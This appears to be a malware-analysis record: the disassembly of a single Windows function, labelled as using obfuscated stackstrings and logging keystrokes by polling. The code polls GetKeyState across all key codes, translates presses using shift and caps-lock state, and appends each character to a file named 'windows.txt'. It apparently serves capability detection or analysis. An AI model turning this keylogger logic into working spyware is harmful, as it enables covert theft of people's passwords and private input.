Function at 0x401767
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov dword [0x408020], 1
mov dword [ebp - 0x433], 0x22a9c326
mov dword [ebp - 0x42f], 0xc32d2827
mov dword [ebp - 0x42b], 0xa7c35fa8
mov word [ebp - 0x427], 0xa0c3
mov byte [ebp - 0x425], 0
mov dword [ebp - 0x43e], 0x34333231
mov dword [ebp - 0x43a], 0x38373635
mov word [ebp - 0x436], 0x3039
mov byte [ebp - 0x434], 0
mov dword [ebp - 0x446], 0x2d2c3d3b
mov dword [ebp - 0x442], 0x602f2e
mov dword [ebp - 0x44d], 0x3e3c2b3a
mov word [ebp - 0x449], 0x7e3f
mov byte [ebp - 0x447], 0
mov dword [ebp - 0x453], 0x275d5c5b
mov word [ebp - 0x44f], 0x3b
mov dword [ebp - 0x458], 0x227d7c7b
mov byte [ebp - 0x454], 0
mov dword [ebp - 0x464], 0x646e6977
mov dword [ebp - 0x460], 0x2e73776f
mov dword [ebp - 0x45c], 0x747874
mov dword [ebp - 0xc], 0
jmp 0x401857
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x424], 0
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfe
jle 0x401845
jmp 0x401b17
mov dword [esp], 0xa
call sym._Sleep_4
sub esp, 4
mov dword [esp], 0x14
call sym._GetKeyState_4
sub esp, 4
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x14], eax
mov dword [esp], 0x90
call sym._GetKeyState_4
sub esp, 4
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x18], eax
mov dword [esp], 0xa0
call sym._GetKeyState_4
sub esp, 4
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x1c], eax
mov dword [esp], 0xa1
call sym._GetKeyState_4
sub esp, 4
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
jmp 0x401b0a
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetKeyState_4
sub esp, 4
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov byte [ebp - 0xd], al
cmp dword [ebp - 0x24], 1
jne 0x401af9
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x424]
test eax, eax
jne 0x401af9
cmp dword [ebp - 0xc], 0x40
jle 0x40198f
cmp dword [ebp - 0xc], 0x5a
jg 0x40198f
cmp dword [ebp - 0x14], 0
jne 0x401971
cmp dword [ebp - 0x1c], 0
jne 0x401abb
cmp dword [ebp - 0x20], 0
jne 0x401abb
mov eax, dword [ebp - 0xc]
add eax, 0x20
mov byte [ebp - 0xd], al
jmp 0x401abb
cmp dword [ebp - 0x1c], 1
je 0x401981
cmp dword [ebp - 0x20], 1
jne 0x401abb
mov eax, dword [ebp - 0xc]
add eax, 0x20
mov byte [ebp - 0xd], al
jmp 0x401abb
cmp dword [ebp - 0xc], 0x2f
jle 0x4019d3
cmp dword [ebp - 0xc], 0x39
jg 0x4019d3
cmp dword [ebp - 0x1c], 1
je 0x4019a7
cmp dword [ebp - 0x20], 1
jne 0x4019bd
mov eax, dword [ebp - 0xc]
sub eax, 0x30
movzx eax, byte [ebp + eax - 0x43e]
mov byte [ebp - 0xd], al
jmp 0x401abc
mov eax, dword [ebp - 0xc]
sub eax, 0x30
movzx eax, byte [ebp + eax - 0x433]
mov byte [ebp - 0xd], al
jmp 0x401abc
cmp dword [ebp - 0xc], 0x5f
jle 0x4019f3
cmp dword [ebp - 0xc], 0x69
jg 0x4019f3
cmp dword [ebp - 0x18], 1
jne 0x4019f3
mov eax, dword [ebp - 0xc]
sub eax, 0x30
mov byte [ebp - 0xd], al
jmp 0x401abc
cmp dword [ebp - 0xc], 0xb9
jle 0x401a3e
cmp dword [ebp - 0xc], 0xc0
jg 0x401a3e
cmp dword [ebp - 0x1c], 1
je 0x401a11
cmp dword [ebp - 0x20], 1
jne 0x401a29
mov eax, dword [ebp - 0xc]
sub eax, 0xba
movzx eax, byte [ebp + eax - 0x44d]
mov byte [ebp - 0xd], al
jmp 0x401abc
mov eax, dword [ebp - 0xc]
sub eax, 0xba
movzx eax, byte [ebp + eax - 0x446]
mov byte [ebp - 0xd], al
jmp 0x401abc
cmp dword [ebp - 0xc], 0xda
jle 0x401a86
cmp dword [ebp - 0xc], 0xdf
jg 0x401a86
cmp dword [ebp - 0x1c], 1
je 0x401a5c
cmp dword [ebp - 0x20], 1
jne 0x401a71
mov eax, dword [ebp - 0xc]
sub eax, 0xdb
movzx eax, byte [ebp + eax - 0x458]
mov byte [ebp - 0xd], al
jmp 0x401abc
mov eax, dword [ebp - 0xc]
sub eax, 0xdb
movzx eax, byte [ebp + eax - 0x453]
mov byte [ebp - 0xd], al
jmp 0x401abc
cmp dword [ebp - 0xc], 0xd
jne 0x401a92
mov byte [ebp - 0xd], 0xa
jmp 0x401abc
cmp dword [ebp - 0xc], 0x69
jle 0x401aa9
cmp dword [ebp - 0xc], 0x6f
jg 0x401aa9
mov eax, dword [ebp - 0xc]
sub eax, 0x40
mov byte [ebp - 0xd], al
jmp 0x401abc
cmp dword [ebp - 0xc], 0x20
je 0x401abc
cmp dword [ebp - 0xc], 9
je 0x401abc
mov byte [ebp - 0xd], 0
jmp 0x401abc
nop
cmp byte [ebp - 0xd], 0
je 0x401af9
mov dword [esp + 4], 0x40611c
lea eax, [ebp - 0x464]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x28], eax
movsx eax, byte [ebp - 0xd]
mov edx, dword [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._putc
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x424], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfe
jle 0x4018fc
mov eax, dword [0x408020]
test eax, eax
jne 0x401865
nop
leave
ret